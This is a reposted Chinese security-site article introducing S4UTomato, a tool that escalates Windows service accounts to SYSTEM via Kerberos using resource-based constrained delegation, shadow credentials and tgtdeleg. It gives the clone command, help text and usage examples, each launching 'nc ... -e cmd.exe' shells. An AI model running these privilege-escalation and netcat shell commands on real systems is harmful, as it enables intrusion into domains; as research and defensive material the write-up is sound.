如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem

admin 2023年12月13日17:47:15评论32 views字数 1815阅读6分3秒阅读模式
如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem

如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem


 关于S4UTomato 


S4UTomato是一款功能强大的权限提升工具,该工具专为蓝队研究人员设计,可以通过Kerberos将服务账号(Service Account)权限提升为LocalSystem。


 工具运行机制 


熟悉“Potato”系列权限提升工具的研究人员肯定知道,这类工具可以将服务账号提升为本地系统权限,“Potato”所使用的技术和S4UTomato类似,即利用COM接口的特定功能,欺骗NT AUTHORITYSYSTEM账号跟攻击者控制的RPC服务器进行连接,并完成身份认证。接下来,通过一系列API调用,并在身份认证过程中执行中间人攻击(NTLM中继),以生成针对目标本地系统中NT AUTHORITYSYSTEM账号的访问令牌。最后,攻击者将能够获取到这个令牌,然后使用CreateProcessWithToken()或CreateProcessAsUser()函数传递令牌,并创建一个新的进程来获取SYSTEM权限。


 Kerbero的角色 


在Windows域环境中,SYSTEM、NT AUTHORITYNETWORK SERVICE和Microsoft虚拟帐户可以用于对加入域的系统计算机帐户进行身份验证,而在现代版本的Windows中,大多数Windows服务默认使用Microsoft虚拟帐户运行。值得注意的是,IIS和MSSQL也在使用这些虚拟帐户。因此,我们可以使用S4UTomato来获取本地机器上域管理员帐户“administrator”的服务凭证,然后在SCMUACBypass工具的帮助下,利用该凭证创建系统服务并获得SYSTEM权限。


在计算机加入域的任意情况下,只要我们能够在Windows服务帐户或Microsoft虚拟帐户的上下文下运行代码,就可以利用上述技术进行本地权限提升。


在执行操作之前,我们需要为本地设备账户获取TGT,但由于服务账户权限的限制,导致我们无法获取到长期密钥,因此无法构造KRB_AS_REQ请求。为了实现上述目标,S4UTomato利用了三种技术:基于资源的约束委派影子凭据Tgtdeleg


 工具下载 


由于该工具基于C#开发,因此我们首先需要在本地设备上安装并配置好最新版本的Visual Studio。


接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/wh0amitz/S4UTomato.git


然后在Visual Studio中导入项目,并完成代码构建和编译即可。


 工具使用帮助 


C:UserswhoamiDesktop>S4UTomato.exe --help


S4UTomato 1.0.0-beta
Copyright (c) 2023


-d, --Domain 需要认证的目标域名(FQDN)
-s, --Server 域控制器或LDAP服务器的主机名称
-m, --ComputerName 需要创建的新计算机账号
-p, --ComputerPassword 新创建计算机账号的密码
-f, --Force 强制更新计算机对象的'msDS-KeyCredentialLink'属性
-c, --Command 需要运行的程序
-v, --Verbose 输出Verbose调试信息
--help 显示工具帮助信息
--version 显示工具版本信息

(向右滑动,查看更多)


 工具使用演示 


通过基于资源的约束委派实现本地特权提升


S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

(向右滑动,查看更多)


如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem


通过影子凭证实现本地特权提升


S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

(向右滑动,查看更多)


如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem


通过Tgtdeleg实现本地特权提升


# 首先通过Tgtdeleg获取TGT
S4UTomato.exe tgtdeleg
# 然后运行SCMUACBypass 获取SYSTEM权限
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"


如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem


 项目地址 


S4UTomato

https://github.com/wh0amitz/S4UTomato


原文始发于微信公众号(FreeBuf):如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日17:47:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystemhttps://cn-sec.com/archives/2291922.html

发表评论

匿名网友 填写信息